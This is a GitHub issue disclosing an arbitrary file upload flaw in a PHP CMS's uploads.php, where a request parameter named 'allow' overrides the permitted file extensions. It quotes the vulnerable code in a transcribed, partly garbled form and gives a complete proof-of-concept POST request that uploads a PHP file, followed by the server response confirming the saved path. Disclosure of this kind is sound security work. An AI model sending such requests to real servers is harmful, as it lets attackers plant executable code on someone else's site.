

New issue

[Jump to bottom](#)

## Vulnerabilities can be used to upload files of any type #4

[Open](#)

jayus0821 opened this issue on Jan 31, 2021 · 0 comments

jayus0821 commented on Jan 31, 2021

in uploads.php

The first line receives the parameter allow, which is passed in when the syUpload object is instantiated, and when the syupload object is constructed, the passed allow is directly used as the allowed suffix dictionary

```
1 <?php
2 if(!defined( name: 'APP_PATH'))||defined( name: 'DOYO_PATH')){exit('Access Denied');}
3 class uploads extends syController
4 {
5     function __construct(){
6         parent::__construct();
7     }
8     function index(){
9         $allow = $this->syArgs('allow',1)!='' ? $this->syArgs('allow',1) : syExt( ext_node_name: 'filetype');
10        $size = $this->syArgs('size',1)!='' ? $this->syArgs('size',1) : syExt( ext_node_name: 'filesize');
11        $water = $this->syArgs('water',1)!='' ? $this->syArgs('water',1) : syExt( ext_node_name: 'imgwater');
12        $scaling = $this->syArgs('caling',1)!='' ? $this->syArgs('caling',1) : syExt( ext_node_name: 'imgcaling');
13        $w = $this->syArgs('w',1)!='' ? $this->syArgs('w',1) : syExt( ext_node_name: 'img_w');
14        $h = $this->syArgs('h',1)!='' ? $this->syArgs('h',1) : syExt( ext_node_name: 'img_h');
15        $fileClass=syClass( class_name: "syupload",array($allow,$size,$water,$scaling,$w,$h));
16        if (empty($FILES)){
17            if($this->syArgs('isfiles',1)=='editor_KindEditor'){
18                header: string: 'Content-type: text/html; charset=UTF-8';
19                $fileinfos = $fileClass->upload_file $FILES[$this->syArgs('isfiles',1)];
20                if (is_array($fileinfos)){
21                    echo ["error" : 0,"url" : "".$fileinfos['fn']."];
22                }
23                else{
24                    echo ["error" : 1,"message" : "".$fileClass->errmsg.""];
25                }
26            }else{
27                $fileinfos = $fileClass->upload_file $FILES[$this->syArgs('isfiles',1)];
28                if (is_array($fileinfos)){
29                    echo '0';
30                    $f=explode( delimiter: '.', $fileinfos['fn']);
31                    echo '.'.$fileinfos['fn'];
32                    echo ','.$preg_replace( pattern: '/\.\.\./\./si', replacement: '', $f[0]);
33                    if (strpos($fileinfos['fn'], needle: 'jpg') || strpos($fileinfos['fn'], needle: 'gif') || strpos($fileinfos['fn'], needle: 'png')){
34                        echo '1';
35                    }else{
36                        echo ','.$f[1];
37                    }
38                }
39            }else{
40                echo $fileClass->errmsg;
41            }
42        }
43    }
44 }
```

```
1 <?php
2 if(!defined( name: 'APP_PATH'))||defined( name: 'DOYO_PATH')){exit('Access Denied');}
3 class syupload {
4     public $max_size = '';
5     public $file_name = '';
6     public $allow_types;
7     public $errmsg = '';
8     public $uploaded = '';
9     public $save_path;
10    public $img_water = '';
11    public $img_water_t = '';
12    public $img_w = '';
13    public $img_h = '';
14    public $imgsize_size = '';
15    public $img_caling = '';
16    private $files;
17    private $file_type = array();
18    private $ext = '';
19
20    public function __construct($allow_types,$max_size,$img_water,$img_caling,$img_w,$img_h) {
21        $this->file_name = 'date';
22        $this->save_path = 'uploads/'.date( format: 'Y').'/'.date( format: 'm').'/';
23        $this->allow_types = $allow_types ? $allow_types : syExt( ext_node_name: 'filetype');
24        $this->max_size = $max_size ? $max_size : syExt( ext_node_name: 'filesize');
25        $this->img_water = $img_water ? $img_water : syExt( ext_node_name: 'imgwater');
26        $this->img_caling = $img_caling ? $img_caling : syExt( ext_node_name: 'imgcaling');
27        $this->img_w = $img_w ? $img_w : syExt( ext_node_name: 'img_w');
28        $this->img_h = $img_h ? $img_h : syExt( ext_node_name: 'img_h');
29        $this->img_water_t = syExt( ext_node_name: 'imgwater_t');
30    }
31
32    public function upload_file($files) {
33        $name = $files['name'];
34    }
35 }
```

So when we upload, we only need to add an allow parameter to upload files with any suffix

PHP Version 5.6.9

System
Build Date
Compiler
Architecture
Configure Command
Server API
Virtual Directory Support
Configuration File (php.ini) Path
Loaded Configuration File
Scan this dir for additional .ini files
Additional .ini files parsed
PHP API
PHP Extension
Zend Extension
Zend Extension Build
PHP Extension Build
Debug Build

```
1 POST /admin.php?c=uploads&tid=&isfiles=editor_KindEditor&dir=image&allow=php HTTP/1.1
2 Host: 192.168.0.105
3 Content-Length: 340
4 Pragma: no-cache
5 Cache-Control: no-cache
6 Upgrade-Insecure-Requests: 1
7 Origin: http://192.168.0.105
8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDrveMBJHPf2HlIA1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/87.0.4280.141 Safari/537.36
10 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,appl
  ication/signed-exchange;v=b3;q=0.9
11 Referer: http://192.168.0.105/admin.php?c=a_article&a=add
12 Accept-Encoding: gzip, deflate
13 Accept-Language: zh,zh-CN;q=0.9
14 Cookie: PHPSESSID=c304pno61bh17g74ojj7i9mcr7
15 Connection: close
16
17 -----WebKitFormBoundaryDrveMBJHPf2HlIA1
18 Content-Disposition: form-data; name="localUrl"
19
20 C:\fakepath\png.php
21 -----WebKitFormBoundaryDrveMBJHPf2HlIA1
22 Content-Disposition: form-data; name="editor_KindEditor"; filename="png.php"
23 Content-Type: application/octet-stream
24
25 <?php phpinfo();?>
26 -----WebKitFormBoundaryDrveMBJHPf2HlIA1--
27
```

```
1 HTTP/1.1 200 OK
2 Date: Fri, 29 Jan 2021 14:34:32 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod
4 X-Powered-By: PHP/5.6.9
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
7 Pragma: no-cache
8 Connection: close
9 Content-Type: text/html; charset=UTF-8
10 Content-Length: 56
11
12 {"error" : 0,"url" : "uploads/2021/01/292234324487.php"}
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

